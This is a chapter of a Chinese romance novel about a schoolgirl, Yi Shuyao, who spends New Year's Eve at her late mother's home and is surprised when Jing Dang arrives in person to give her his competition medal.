“是啊杳杳,你如果没有很重要的事就还是坐我订的那班飞机吧,现在都没票了。”易振秦知道易书杳性子软,他都这样说了,她肯定不会再说什么。 “挺重要的事呢……”易书杳毫不犹豫地说。 别说易振秦,就连秦思仪都抬起眼看了下易书杳。他们都知道易书杳的性子,都很惊讶这件事得是什么事,能在她心里排这么重要的位置。 “再重要也没办法,我都得去,你还能不去吗?”易珍如自顾自地吃着饭,说。 易书杳当然得去,按目前的状况来看,她也只能在除夕那天去。 ……但是荆荡那边,她也不想错过。 为什么事情刚好就巧成这样。如果易振秦提前说这个事就好了。 饭后,易书杳回了卧室。 她拿出手机,查了查从这里到港桂巷所有可行的出行方式,结果都没票。 不得已,她又点开寒假才加的荆荡微信。他的网名是一个大写的d,她和他的聊天记录寥寥无几,往上翻几页就看到尽头。 不过寒假的这些天,他偶尔会打几个语音来问不会写的题。 易书杳感觉荆荡变笨,那几道物理题虽然很难,但不至于连他都不会做。 应该是寒假没怎么学习,知识点都忘光了。 但是这样也好,她就能多跟他说说话了……她还挺想他的。 易书杳看着手机的聊天记录,上一次跟他通电话是前天,两人就几道物理题聊了一个多小时,最后还是易书杳哈欠连天,他说想睡觉了,才挂了电话。 想着除夕不能去看他比赛,易书杳叹了口气,闭了闭眼睛,艰难地拨出了语音通话。 这还是她第一次跟他打语音电话,电话拨出去的瞬间,她又闭上了眼睛,思索着该怎么跟他讲这件事。 想着想着,手机听筒里传来荆荡的声音,许是手机音质不好,听着有些低沉的模糊,但难掩独属于少年的清扬:“我不玩了,先下了。” 这话明显不是对她说的,易书杳睁开眼,竟看见手机屏幕里开了摄像头,荆荡应该是坐在他的房间里,灰色的电竞椅入了镜,他退出游戏,朝镜头里看了一眼。 她这才发现她拨的是视频电话。 易书杳这边自己也开了摄像头,她飞速拿起手机,准备关掉摄像头。 “你干吗?”手机里再次传来荆荡上挑的尾音,“不许关摄像头。” “不小心拨错了,本来想打语音的,”易书杳看向荆荡,“没想打视频。” “哦,”荆荡散漫地撩起眼皮,“就一点都不想见到我。” “哪有,”易书杳忙解释说,“没有,我没有啊,想的,想见你。”说完这句话,她的脸颊慢慢浮上红意,掩耳盗铃地咳嗽了几声,“还好吧,也没有想。” 荆荡看着手机里多日没见的人,压根没听她在说什么。 女孩子穿着居家的白色睡衣,毛茸茸的宽松款式,露出薄瘦的脖颈和那张他昨晚梦见的脸。脸颊白中带粉,是春天桃树枝般的颜色。 浅色的瞳孔似漂亮的杏仁,泛着生机勃勃的鲜活感。嘴唇有些润,应该是刚喝过水,嘴角还沾着点零星的水渍,像亮晶晶的碎片。 荆荡的视线明晃晃望着她,拿起水喝了几口后嗓子还是干,从抽屉里摸出烟盒,又想起对面的人不喜欢他抽烟,遂扔了回去,然后听见她踌躇的声音:“荆荡,我有件事想跟你讲。” “说。”荆荡抬起头看她。 “就是……”易书杳慢吞吞了很久,最后摊牌道,“我除夕可能得跟家里人一块回我以前的家,可能没时间看你比赛了,”没等他说话,她可怜兮兮地看着他,“对不起,这件事我是被临时通知的,没有办法更改,也没有办法想别的办法,所以才……” “一个小比赛而已,你的事更重要,”荆荡想起昨晚的梦里,她也是这样可怜兮兮地看着他,他低头喝了口水,喉结一滚咽进去,道,“我没关系。” “对不起。”易书杳觉得很抱歉地说。 “没关系,”荆荡看着她真诚又执着的模样觉得好笑,他性子冷硬,不太会安慰人,难得卡词道,“真就一小比赛。” 易书杳觉得更抱歉的是没有办法跟他一起过除夕,她难过得要死,但又因为自己才是那个出意外的人,而没有办法跟他讲述自己的难过,一时间不知道该怎么面对他。 “等我赢了奖牌,开学那天带给你,”荆荡看着她那副可怜的样子,心脏像被人用大手揉了一把,低声问,“行么?” 易书杳感觉她好像又回到了雨天的那晚,荆荡也是用这样温柔的语气说她和他现在是朋友了,问她行不行。 荆荡难得温柔,易书杳点了点头,轻轻道:“好。” 随后,荆荡问了她几道物理题,这通视频电话持续了差不多两个小时。 易书杳挂断视频电话的那一秒,手机屏幕里的荆荡消失不见,她晃了晃神。想到除夕那天见不到他,还得再等上十几天开学,才能见到面。 易书杳低垂眼睫毛,第一次在除了妈妈和外婆身上,尝到了这么浓的思念的味道。 * 除夕那天来得很快。 下午两点,易书杳和家里人坐上去港桂巷的飞机。五点钟,飞机落地。易书杳先是带着易振秦他们去祭拜了妈妈和外婆,好几个月没见妈妈和外婆,易书杳一跪到墓碑前,眼泪就飙了出来。 易振秦亦是感慨良多,不自觉红了眼,他摸了摸易书杳的脑袋,心里沉重。 祭拜完后,易振秦要带大家去预定好的酒店。 易书杳摇头道:“我想去之前的家里住一晚,我现在去收拾收拾,晚上去酒店吃年夜饭。” “想那个家了吧?”易珍如哼了声,“去吧,酒店房间我一个人住才开心。” 易振秦原本想拒绝易书杳的,听到易珍如的话才知道她大概是想家了。也好,她之前在这里住了这么多年,既然回来了,怎么可能不想回去住上一晚。 “行,住吧,吃年夜饭我来接你。”易振秦说。 于是易书杳就这么回家了。她和妈妈、外婆的家在港桂巷七十七号,一间两室一厅的平屋。 行李箱滚在青石地面,她来到久违的七十七号,抿着嘴惊讶地打量这间承载十多年记忆的房子。 院子里种的茑萝竟还没有枯萎,正开得旺盛。 易书杳拿着钥匙打开大门,走进家里,穿过院子,又打开里面的门,轻轻推开。 房子不大,两室一厅一览无余,原先的家具摆放得整整齐齐。 易书杳走向一个隐藏的隔间,妈妈和外婆的遗像就挂在隔间的上方,两人笑得温和,好像隔空摸了下易书杳的脑袋。 易书杳仰起头,把眼睛里的泪水逼回去,冲妈妈和外婆笑了下:“我过得很好哦,不要挂念我。” 说完,她像往常一样,拿起桌角的扫把打扫起了卫生。 一个小时后,家里的客厅和她待会要睡的房间焕然一新。 易书杳气喘吁吁地坐在客厅沙发,拿出手机看了看时间,六点过五分。 六点半,易振秦来接她。 男人走进这间十几年都没来过的房子,模糊的记忆骤然间袭来。其实,他和易书杳妈妈许枝念是少年夫妻,从校园恋爱踏入婚姻当中,奈何父母和家族反对,他拼命才结的婚,却又在面对这么大的压力下不得已离了婚,娶了与他门当户对的秦思仪。 他是真的爱许枝念,却也是真的爱易家的权与钱。 爱这种东西太稀薄了,对于钱权而已。 这些年,他因为愧对许枝念,更因为家里的逼迫,他没回港桂巷一次,连许枝念最后一面都没见到。 “爸爸,”易书杳走到易振秦面前,发现他眼圈红得吓人,“怎么了?” 易振秦把易书杳抱到怀里,不知道是不是因为这些往事压在心底太沉重,他将他和许枝念相识相爱的故事说给了易书杳听。 易书杳听完后,沉默良久才消化完这些,不自觉掉了眼泪:“既然相爱,为什么要分开?好不容易结了婚,故事到这一步就很圆满了呀。” “你爷爷奶奶逼我,”易振秦仰头把眼泪倒回去,“我也一直以为结了婚就好了,可是你妈妈在我的事业上没有半点助力……易家人个个精明,怎么会让这段婚姻长久的存在?杳杳,对成年人,尤其是有钱人来说,爱是最不值得一提的东西。” 易书杳想起荆荡,摇头否定:“并不是。” “我们易家每一个人的婚姻都不是由自己做主的,你爸爸我努力抗争了才和你妈妈结了婚,但也难逃命运的安排。” “也许吧。”易书杳抬头望向院子里的茑萝。 吃年夜饭的时候,易书杳看起来心不在焉。她总是时不时想起易振秦的话。 原来,在这种家庭,婚姻都不是由自己做主的。 那比之易家,权势和财富更重的荆家,大概也是这样吧。 想到这里,她忽然感觉风闷闷的,吹在鼻尖喘不过气。 这顿年夜饭不止秦思仪和易珍如,易振秦还请了不少港桂巷的老板。 十几个人坐了一大桌,都在热火朝天地谈生意。 易书杳在这种热闹的氛围里吃了几口饭,忽然很想荆荡。 她眨了眨因为哭过而干涩的眼睛,拿出手机,现在是七点半,他比赛快要开始了。 易书杳戳开微信,给他发:【除夕快乐,比赛快要开始了吧,一切顺利噢】 过了两分钟,荆荡回:【除夕快乐啊,易书杳】 【这种比赛不顺利也能赢】 易书杳被逗笑了,弯着眼睛打字:【噢,这样呀。】 d:【嗯,你在干吗?】 杳:【吃年夜饭,这个酒店的饭菜不好吃】 d:【哪个酒店?】 杳:【连锁的,珺桦,房间也是订了这里的】 d:【位置发一下】 易书杳看到这条信息,心脏扑通地飞快跳了下。 他要酒店位置干嘛? 她不知所以,发了位置过去。 d:【行,以后不去这里了】 哦,原来只是这样。 易书杳为自己刚才的想法失笑。是啊,他怎么可能会来这里找她。 先不说没有机票,就算有机票,他也没理由来找她。 本来今天是能他一起过除夕的,都是因为她,才搞砸了这一切。 易书杳咬了下唇角,回复:【好啊,好啊,你比赛要几点结束呀?】 d:【三个小时左右】 易书杳回复了个好字,在对话框打着字:【你比赛结束以后,我们打个视频吧?或者跨年的时候,我们打视频呢?】 这句话还没发出去,对面的信息跳进眼中:【我比赛完应该没时间跟你发信息了】 【比赛快开始了,等我去给你赢块奖牌回】 杳:【好!】 荆荡没再发来信息。 易书杳收起手机,百无聊赖地吃了几口饭。 易振秦在这谈生意,她如果先走会显得太没礼貌,易珍如也没走,在那蹙着眉摆弄手机。 直到九点钟,桌子上的老板们都喝高了,这场年夜饭才算完。 易振秦也喝得不省人事。 秦思仪招呼易书杳和易珍如和她一起把易振秦架回楼上的客房。 十点钟,几个人终于让不安分的易振秦睡下了。 易书杳十点半点回到家里,离跨年只剩下一半个小时,港桂巷陆陆续续地升起灿烂绚丽的烟花。 砰砰砰的声音震耳欲聋,点亮一方天地。 易书杳买了水果给妈妈和外婆上供,在她们跟前祝她们新年快乐。 时间不知不觉地过去。 升起的烟花越来越多,漂亮得不得了,让人目不暇接。 十一点,易书杳和妈妈、外婆说完想说的话,坐到沙发上戳开微信。 荆荡果真没时间跟她发信息,一条信息也没有。 易书杳失落地看了看外边天空的烟花,今天明明是这么幸福和热闹的跨年夜,家家户户都非常高兴,可她为什么还是这么不开心呢。 而且,她真的好想他。 易书杳戳开出行的app,忽然想买最新的一班飞机票回去见他。 可惜机票早已售光。 她难受地揉了揉眼圈,手机响起来电的铃声。 易书杳眼睛一亮,马上看向来电人的名字。 是秦思仪。 易书杳眼里的光消失,按了接通,传来秦思仪着急的声音:“你爸有点低烧,我和如如现在在照顾她,腾不开手,你去药店买些退烧药吧。送到这里来。” 易书杳说了声好,在十一点三十分的时候拿着退烧药敲响酒店的房门。 秦思仪火急火燎地接过她手里的药:“你爸不知道怎么就低烧了。” 易书杳皱着眉看向易振秦,说:“先用退烧药,拿冷毛巾敷额头,如果没有效果,再送医院。” 秦思仪和易珍如都不是会照顾人的大小姐,手忙脚乱地听着易书杳的话去操作。 易书杳看不下去,先量了体温,熟练地拿了毛巾敷额头,喂了退烧药,动作一气呵成。 秦思仪和易珍如在一旁看着咂舌。 易书杳弄完一切后,鼻尖浮了点汗,有些累地坐在酒店沙发上,说:“待会再量下体温,如果退烧了就没事了。” “行,”秦思仪点头,“我知道了。这么晚了,你回去吧。” “有什么不会的就问我。”易书杳说,“这里没有私人医生,镇上只有小诊所。” “行了行了,你回去吧,看你都累成什么样了,”易珍如将易书杳拉起,将她往门外拉,沉默了一会,低声说,“那个……今天谢谢你啊。” 说完,易珍如别扭地将易书杳推到走廊,关上了门。 易书杳一脸蒙地站在走廊,然后看到外面的烟花拼命地炸起。 十一点五十七分,离跨年只有三分钟了。 易书杳坐电梯下楼,戳开荆荡的微信。两人的聊天记录还停留在几个小时前,也不知道他比赛赢了没有。 真就一条信息都不给她发的。 眼看着新年的钟声逼近,易书杳戳进了对话框,按住语音:“新年快乐呀,你在干嘛呢,在忙什么?” 语音发送出去,电梯到了一楼,她走出来,穿过酒店的大厅,来到酒店外。 噼里啪啦的爆竹声音响起,一束又一束的烟花在天空上炸开,像织成一场烂漫的花海。 易书杳看向手机,荆荡还是没有回信息。 她不高兴地撇了撇嘴,给他打了个语音电话过去。 电话一开始没有被接通,她仰头看着纷繁各色的烟火,过了十几秒,电话才缓慢地接通。 易书杳不知道他在忙什么,信息也不回,电话也接得这么慢…… 咦,他是在跟别人过除夕吗?男生,还是女生? 会是女生吗? 全校喜欢他的女生那么多呀。 思及此,易书杳感觉喉咙酸酸的,像青苹果捣成了滞涩的汁水。她轻轻地喂了一声,没再说别的。 荆荡那边声音很吵,也是烟花和爆竹的声响。但又能隐隐约约听见别人的说话声和笑闹声。 噢,他好像真的在跟别人一块过除夕。 易书杳没有怪他的意思,毕竟是她先毁约的,可是不知道为什么,她不想他跟别的女生一起过除夕。 一旦想到他跟别的女生,也是跟她一样的相处方式,她就觉得好难过好难过。 “怎么不说话?”两秒后,荆荡好听的声音盖过噪音和其他人的说话声,清晰地从听筒里冒出。 “没有,”易书杳孤单地看着烟火,她一听到他的声音就忍不住想见他,思念像汹涌的洪水般袭来,她大着胆子问,“我可以和你打视频吗?” 荆荡那边顿了顿,好几秒没说话,直到“59分”变成零点,新年的时刻来临,他说:“现在不方便。” “喔,”易书杳的声音低低的,更不高兴了,但还是跟他说了句,“新年快乐呀荆荡,今年顺顺利利的。” 荆荡嗯了声,他那边又传来了吵闹的说话声,听着好像有人在叫他。 易书杳咬着唇角,说:“你很忙吗?那我先挂了。” 他那边短暂的一小会没说话,易书杳期待他能挽留一下她,却听到他说了个好字,然后电话就此挂断了。 这通电话不到两分钟,天空的烟花还是在盛放。心脏却有个角落在下雨。 易书杳感觉浑身没力气地蹲下来,还是仰头望着满天的星火,她眨了眨眼睛,默默地谴责荆荡一万个字。 怎么有这么坏的人呐!今天可是过年,到底在忙什么!他就有这么多事情要忙吗!连跟她发个信息,打个五分钟视频电话的时间都没有。 真讨厌。 真讨厌。 易书杳吸了下鼻子,一边谴责他一边心不在焉地欣赏烟花。 就这么过去了一刻钟。 手机的屏幕忽然亮起。 荆荡拨了个语音电话过来。 易书杳望着屏幕,很坏地等了二十秒,才慢吞吞地按了接听:“干吗?” “不干吗,”荆荡的低笑声透过话筒冒出,“你在干吗?” “……”易书杳在心里说,这人还有脸笑? 坏透了。 “没干吗,”她问,“你的事忙完了?” “差不多。”荆荡的语气懒懒散散的,携着一贯的漫不经意。 易书杳哦了声,坏坏地说:“事情忙完了终于有空理我了。谁允许你给我打电话了?只能打两分钟,两分钟之后我就挂。” 那边荆荡被她萌得不行,说:“打视频行么?” “不行。”易书杳话是这么说,不过她太想他,还是将语音通话转成了视频通话。 下一瞬,他那张帅脸出现在屏幕上,兴许是网络不太好,五官不甚清晰,他看起来像在走路,手机一摇一晃的,画质虽然不好,但他还是好看得很勾魂摄魄,朝她投来视线:“易书杳,你这么口是心非的?” “怎么了?不行吗?”易书杳把手机举高,努力地想看清他的脸,奈何他那边网络是真差,她努力了一会,发现还是看不清,遂放弃了,问,“你比赛赢了吗?” “当然,”荆荡道,“手到擒来的事。” 易书杳弯了弯唇:“喔,恭喜你呀。” “该恭喜的是你吧?”荆荡哼笑着扯了个唇,“奖牌是你的,跟我有一分钱关系?” 他随便说几句话就能让易书杳的心情由坏变好,她笑着说:“哦哦哦,这样子呀……那谢谢你了,你放心,我之后如果高兴了呢,还是会把奖牌给你玩几分钟的。” “谢了,”荆荡说,“你是一个很大度的人。” 易书杳乐得眼眸弯弯:“当然啦。” 两人扯七扯八地聊了聊,时不时传出笑声。 美中不足的是,因着荆荡一直在走路,网络也很差,易书杳始终看不太清他的脸。 “哎,”易书杳看着屏幕,问,“你怎么一直在走路?去哪里呀?网好差,我都看不清你的脸。” “看不清?”荆荡把手机靠近脸,他的五官被放大,乌黑的瞳孔清晰直锐,他的眼睛有些下三白,很冷,在烟花下有种另类的野劣感。 易书杳呼吸一窒,揉了揉手指:“可以看清楚了。”她专注地盯着他,只能透过手机缓解思念……如果,能在此时见一面就好了。 二零一八的新年,她最想第一个见的人,只有他。 兴许是今天累了一天,易书杳咬着嘴巴,直直地盯着他,越盯越想他。 原来当真正想念一个人的时候,打视频电话也缓解不了。 她好贪心,想真的见到这个人,闻到他的气味,摸到他的手,拥进他的怀里,亲口跟他说一声新年快乐。 哎,说到新年快乐,他好像还没有跟她语音说一句新年快乐的。 “荆荡,”易书杳把手机靠近自己的脸,说,“你好像还没有跟我说新年快乐的吧?” 荆荡在手机里笑了:“留着待会说。” “啊?”易书杳蒙了,“什么待会说?” “就以后,见到面再说。” “那还有很久啊。”易书杳闷闷地说。 “你等着就行,”荆荡道,“不会让你等多久。” “那也得等到开学呀,”易书杳望着手机里的人,他还在走路,茂密蓬松的头发被烟花的光照得像染了头发,她无声地笑了笑,又把手机拿近了一些,恨不得钻进屏幕里见他一面,“你到底去哪里啊?走了这么久还没走到吗?” “差不多到了。” “你是去找谁吗?还是去见谁。”易书杳心底又酸酸的了,她在这狂想他呢,他倒好,宁愿走了这么久的路,也要去见别人。 “没谁,”荆荡说,“就一笨蛋。” “笨蛋你还走这么久去见啊?”易书杳心底更酸了,她愤愤地看着屏幕里的他,他走路的步伐加快,她又看不清他了,她的语气稍微变得不好了些,“那你把奖牌也送那个人好了,你去挂那个人的脖子上。” 没等荆荡回话,她说:“你把手机举近一点呀,我又看不清你了,你今天怎么回事呀,跟别人过完了除夕才想到我,”后面这两句话是口不择言将真心话说出来,易书杳囫囵吞枣地瞒过去,只重复地说,“手机近一点,让我看清你。” 荆荡那边只顾着走路,他好像加快了步伐,紧接着,易书杳感觉一阵熟悉又凛冽的风吹到跟前,她的脖颈一凉,有什么东西被佩戴在脖子上,她抬起头,看见了屏幕里的那张脸,像是凭空出现在了她眼前。 那人低着头帮她的脖子上戴着奖牌,冲她勾了勾唇:“现在呢,够近了吗?能看清楚我了吗?”他帮她戴好了奖牌,然后直勾勾地看着她,唇角很轻地扯了下,“新年快乐啊,易书杳。”【你现在阅读的是 】